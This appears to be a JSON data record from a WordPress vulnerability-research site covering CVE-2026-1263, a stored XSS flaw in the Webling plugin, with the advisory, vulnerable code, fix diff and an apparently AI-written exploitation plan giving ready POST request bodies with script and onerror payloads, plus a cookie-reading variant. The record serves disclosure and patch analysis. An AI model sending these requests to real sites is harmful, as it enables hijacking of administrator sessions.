[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fQ2F07RkwQj9TZOLds0ks7l0ftaVidh33SWuKgq6nr8Q":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"source_links":41},"CVE-2026-1263","webling-authenticated-subscriber-stored-cross-site-scripting-via-title-parameter","Webling \u003C= 3.9.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'title' Parameter","The Webling plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 3.9.0 due to insufficient input sanitization, insufficient output escaping, and missing capabilities checks in the 'webling_admin_save_form' and 'webling_admin_save_memberlist' functions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject Webling forms and memberlists with arbitrary web scripts that will execute whenever an administrator views the related form or memberlist area of the WordPress admin.","webling",null,"\u003C=3.9.0","3.9.1","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-09 12:32:40","2026-04-10 01:24:59",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fbd8fbe0d-0709-4fa2-9294-393ddcd05b22?source=api-prod",1,[22,23,24,25,26,27,28,29],"readme.txt","src\u002Factions\u002Fwebling_form_submit.php","src\u002Fadmin\u002Factions\u002Fclear_cache_action.php","src\u002Fadmin\u002Factions\u002Fsave_form.php","src\u002Fadmin\u002Factions\u002Fsave_memberlist.php","src\u002Fadmin\u002Ferrors\u002Fno_connection.html.php","src\u002Fadmin\u002Ferrors\u002Fno_read_access.html.php","src\u002Fadmin\u002Ferrors\u002Fno_write_access.html.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-1263 - Webling Stored XSS\n\n## 1. Vulnerability Summary\nThe Webling plugin for WordPress (\u003C= 3.9.0) contains a stored cross-site scripting (XSS) vulnerability due to improper input sanitization and missing authorization checks in its administrative save functions. Specifically, the functions `webling_admin_save_form` and `webling_admin_save_memberlist` do not verify user capabilities or nonces, and they fail to sanitize the `title` parameter before saving it to the database. This allows any authenticated user (Subscriber level and above) to inject malicious scripts into the plugin's configuration, which will execute when an administrator views the Webling management pages.\n\n## 2. Attack Vector Analysis\n*   **Endpoints:** \n    *   Primary: `\u002Fwp-admin\u002Fadmin-post.php` (Standard WordPress handler for admin-side POST actions).\n    *   Alternative: Any page triggering `admin_init` if the plugin hooks these functions there.\n*   **Vulnerable Actions:** `webling_save_form` and `webling_save_memberlist` (inferred from function names `webling_admin_save_form` and `webling_admin_save_memberlist`).\n*   **Vulnerable Parameter:** `title` (sent via POST).\n*   **Authentication:** Subscriber-level access (any logged-in user).\n*   **Preconditions:** The plugin must be active. No valid Webling API key is strictly necessary to write to the local database, although the plugin UI might be limited without one.\n\n## 3. Code Flow\n1.  **Entry Point:** An authenticated user sends a POST request to `\u002Fwp-admin\u002Fadmin-post.php` with the parameter `action=webling_save_form`.\n2.  **Lack of Authorization:** The request reaches `webling_admin_save_form` (in `src\u002Fadmin\u002Factions\u002Fsave_form.php`). The function lacks a `current_user_can('manage_options')` check, allowing the Subscriber's request to proceed.\n3.  **Lack of CSRF Protection:** The function lacks a `check_admin_referer()` or `wp_verify_nonce()` call.\n4.  **Input Processing:** The code executes `$_POST = stripslashes_deep($_POST);`.\n5.  **Database Sink:** The `$title` variable (from `$_POST['title']`) is passed directly into a `$wpdb->prepare` statement without any sanitization function like `sanitize_text_field()`.\n    ```php\n    \u002F\u002F src\u002Fadmin\u002Factions\u002Fsave_form.php\n    $wpdb->prepare(\"INSERT INTO {$wpdb->prefix}webling_forms (`title`, ...) VALUES (%s, ...)\", $_POST['title'], ...)\n    ```\n6.  **XSS Trigger:** When an administrator visits the Webling plugin dashboard (`\u002Fwp-admin\u002Fadmin.php?page=webling_page_main`), the plugin retrieves the stored forms and echoes the `title` field without using `esc_html()`.\n\n## 4. Nonce Acquisition Strategy\nAccording to the vulnerability description, the functions suffer from **missing** capability and nonce checks. \n*   **Assessment:** It is highly probable that no nonce is required to exploit these endpoints.\n*   **Verification:** If a nonce check is encountered during execution (e.g., a \"Link Expired\" or \"Are you sure you want to do this?\" error), the agent should look for localized variables in the plugin's admin pages.\n*   **Localized Variables (if needed):** Check `window.webling_admin_options` or similar keys if `wp_localize_script` is found in the main plugin files (not provided here).\n\n## 5. Exploitation Strategy\n\n### Step 1: Inject Payload into Forms\nSubmit a POST request as a Subscriber to create a new Webling form with a malicious title.\n\n*   **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-post.php`\n*   **Method:** POST\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```text\n    action=webling_save_form&form_id=0&title=\u003Cscript>alert(\"XSS_FORM\")\u003C\u002Fscript>&group_id=0&notification_email=attacker@example.com&confirmation_text=Saved&submit_button_text=Submit&max_signups=0&class=xss-test\n    ```\n\n### Step 2: Inject Payload into Memberlists\nSubmit a POST request as a Subscriber to create a new Webling memberlist.\n\n*   **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-post.php`\n*   **Method:** POST\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```text\n    action=webling_save_memberlist&list_id=0&title=\u003Cimg src=x onerror=alert(\"XSS_LIST\")>&design=LIST&type=ALL&sortfield=name&sortorder=ASC\n    ```\n\n### Step 3: Trigger the XSS\n1.  Navigate to the site as an Administrator.\n2.  Go to the Webling plugin main page: `\u002Fwp-admin\u002Fadmin.php?page=webling_page_main`.\n3.  Observe if the `alert` boxes trigger.\n\n## 6. Test Data Setup\n1.  **Users:** Create a Subscriber user (`user_login: subscriber`, `password: subscriber123`).\n2.  **Plugin State:** Ensure the Webling plugin (slug: `webling`) version \u003C= 3.9.0 is installed and active.\n3.  **Database:** The tables `wp_webling_forms` and `wp_webling_memberlists` must exist (created during plugin activation).\n\n## 7. Expected Results\n*   The POST requests from the Subscriber should return a `302 Redirect` to `admin.php?page=webling_page_main` or `webling_page_memberlist_list`, indicating successful insertion.\n*   When an Admin views the Webling pages, the browser should execute the injected JavaScript.\n\n## 8. Verification Steps\nAfter performing the HTTP requests, use WP-CLI to confirm the payload is in the database:\n\n```bash\n# Check if the form with the payload exists\nwp db query \"SELECT title FROM wp_webling_forms WHERE title LIKE '%\u003Cscript>%';\"\n\n# Check if the memberlist with the payload exists\nwp db query \"SELECT title FROM wp_webling_memberlists WHERE title LIKE '%alert%';\"\n```\n\n## 9. Alternative Approaches\nIf `admin-post.php` does not accept the action, the plugin might be using direct `admin_init` logic or AJAX. \n*   **AJAX Attempt:** Send the same POST body to `\u002Fwp-admin\u002Fadmin-ajax.php`.\n*   **Different Actions:** Try `action=webling_admin_save_form` (matching the function name exactly) if `webling_save_form` fails.\n*   **Bypass ID check:** If the plugin requires an existing ID, first try to find one by guessing `form_id=1`. However, the code `if ($id)` in `save_form.php` suggests `0` will trigger an `INSERT`.","The Webling plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) due to missing capability checks, nonce verification, and input sanitization in its form and memberlist saving actions. Authenticated users with Subscriber-level access or higher can inject arbitrary scripts into configuration titles, which then execute when an administrator accesses the plugin's management interface.","\u002F\u002F src\u002Fadmin\u002Factions\u002Fsave_form.php line 3\nfunction webling_admin_save_form()\n{\n\tglobal $wpdb;\n\n\t$_POST = stripslashes_deep($_POST);\n\n\t\u002F\u002F sanitize id\n\t$id = intval($_POST['form_id']);\n\n\tif ($id) {\n        \u002F\u002F ...\n\t\t\u002F\u002F update form\n\t\t$wpdb->query(\n\t\t\t$wpdb->prepare(\"\n\t\t\t\tUPDATE {$wpdb->prefix}webling_forms\n\t\t\t\tSET \n\t\t\t\t`title` = %s,\n                \u002F\u002F ...\n\t\t\t\tWHERE id = %d\",\n\t\t\t\t$_POST['title'],\n\n---\n\n\u002F\u002F src\u002Fadmin\u002Factions\u002Fsave_memberlist.php line 3\nfunction webling_admin_save_memberlist()\n{\n\tglobal $wpdb;\n\n\t$_POST = stripslashes_deep($_POST);\n\n\t\u002F\u002F sanitize id\n\t$id = intval($_POST['list_id']);\n    \u002F\u002F ...\n\tif ($id) {\n\t\t\u002F\u002F update list\n\t\t$wpdb->query(\n\t\t\t$wpdb->prepare(\"\n\t\t\t\tUPDATE {$wpdb->prefix}webling_memberlists\n\t\t\t\tSET \n\t\t\t\t`title` = %s,\n                \u002F\u002F ...\n\t\t\t\tWHERE id = %d\",\n\t\t\t\t$_POST['title'],","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebling\u002F3.9.0\u002Fsrc\u002Fadmin\u002Factions\u002Fsave_form.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebling\u002F3.9.1\u002Fsrc\u002Fadmin\u002Factions\u002Fsave_form.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebling\u002F3.9.0\u002Fsrc\u002Fadmin\u002Factions\u002Fsave_form.php\t2022-05-17 15:35:20.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebling\u002F3.9.1\u002Fsrc\u002Fadmin\u002Factions\u002Fsave_form.php\t2026-03-03 09:42:02.000000000 +0000\n@@ -2,6 +2,12 @@\n \n function webling_admin_save_form()\n {\n+\tif (!current_user_can('manage_options')) {\n+\t\twp_die(esc_html__('You do not have sufficient permissions to access this page.', 'webling'));\n+\t}\n+\n+\tcheck_admin_referer('webling_save_form');\n+\n \tglobal $wpdb;\n \n \t$_POST = stripslashes_deep($_POST);\n@@ -9,12 +15,14 @@\n \t\u002F\u002F sanitize id\n \t$id = intval($_POST['form_id']);\n \n-\tif ($id) {\n+\t\u002F\u002F sanitize titles\n+\t$_POST['title'] = sanitize_text_field($_POST['title']);\n \n+\tif ($id) {\n \n \t\t\u002F\u002F check if form exists\n \t\t$existing = $wpdb->get_row(\"SELECT id from {$wpdb->prefix}webling_forms WHERE id = \".$id);\n \t\tif (!$existing) {\n-\t\t\tdie('Could not update form: form does not exist: '.$id);\n+\t\t\twp_die(esc_html__('Could not update form: form does not exist: ', 'webling') . intval($id));\n \t\t}\n \n \t\t\u002F\u002F update form\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebling\u002F3.9.0\u002Fsrc\u002Fadmin\u002Factions\u002Fsave_memberlist.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebling\u002F3.9.1\u002Fsrc\u002Fadmin\u002Factions\u002Fsave_memberlist.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebling\u002F3.9.0\u002Fsrc\u002Fadmin\u002Factions\u002Fsave_memberlist.php\t2020-12-23 10:05:18.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwebling\u002F3.9.1\u002Fsrc\u002Fadmin\u002Factions\u002Fsave_memberlist.php\t2026-03-03 09:42:02.000000000 +0000\n@@ -2,6 +2,12 @@\n \n function webling_admin_save_memberlist()\n {\n+\tif (!current_user_can('manage_options')) {\n+\t\twp_die(esc_html__('You do not have sufficient permissions to access this page.', 'webling'));\n+\t}\n+\n+\tcheck_admin_referer('webling_save_memberlist');\n+\n \tglobal $wpdb;\n \n \t$_POST = stripslashes_deep($_POST);\n@@ -9,6 +15,16 @@\n \t\u002F\u002F sanitize id\n \t$id = intval($_POST['list_id']);\n \n+\t\u002F\u002F sanitize titles\n+\t$_POST['title'] = sanitize_text_field($_POST['title']);\n+\n+\t\u002F\u002F sanitize HTML fields according to capabilities\n+\tif (isset($_POST['custom_template'])) {\n+\t\tif (!current_user_can('unfiltered_html')) {\n+\t\t\t$_POST['custom_template'] = wp_kses_post($_POST['custom_template']);\n+\t\t}\n+\t}\n+","The exploit targets the missing authorization and CSRF checks in `admin-post.php` actions. \n\n1.  **Authentication**: Authenticate as any user with Subscriber-level privileges.\n2.  **Injection**: Send a POST request to `\u002Fwp-admin\u002Fadmin-post.php` with the `action` parameter set to either `webling_save_form` or `webling_save_memberlist`. The payload should include a `title` parameter containing a malicious script, such as `\u003Cscript>alert(document.cookie)\u003C\u002Fscript>`. Because there are no nonce or capability checks, the plugin accepts the request and saves the unsanitized title to the database.\n3.  **Execution**: Wait for an administrator to log in and visit the Webling plugin dashboard (e.g., `\u002Fwp-admin\u002Fadmin.php?page=webling_page_main`). The plugin retrieves the stored form\u002Fmemberlist title and renders it to the page without proper escaping, triggering the execution of the injected script in the administrator's browser session.","gemini-3-flash-preview","2026-04-16 16:17:43","2026-04-16 16:18:30",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.9.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwebling\u002Ftags\u002F3.9.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwebling.3.9.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwebling\u002Ftags\u002F3.9.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwebling.3.9.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwebling\u002Ftags"]